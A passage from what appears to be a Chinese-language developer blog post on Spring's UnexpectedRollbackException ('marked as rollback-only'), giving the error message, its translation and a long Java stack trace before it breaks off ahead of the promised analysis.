Transaction rolled back because it has been marked as rollback-only, 中文翻译为:事务已回滚,因为它被标记成了只回滚。 这个异常,相信写代码多年的大家,都遇到过,什么原因呢?今天我们专门分析一下,以为前车之鉴。 报错信息详情 关键报错信息:org.springframework.transaction.UnexpectedRollbackException: Transaction rolled back because it has been marked as rollback-only 详细报错信息如下: org.springframework.transaction.UnexpectedRollbackException: Transaction rolled back because it has been marked as rollback-only at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:724) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:485) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:655) at java.util.ArrayList.forEach(ArrayList.java:1249) at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:720) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.aspectj.MethodInvocationProceedingJoinPoint.proceed(MethodInvocationProceedingJoinPoint.java:85) at sun.reflect.GeneratedMethodAccessor3052.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs(AbstractAspectJAdvice.java:620) at org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod(AbstractAspectJAdvice.java:609) at org.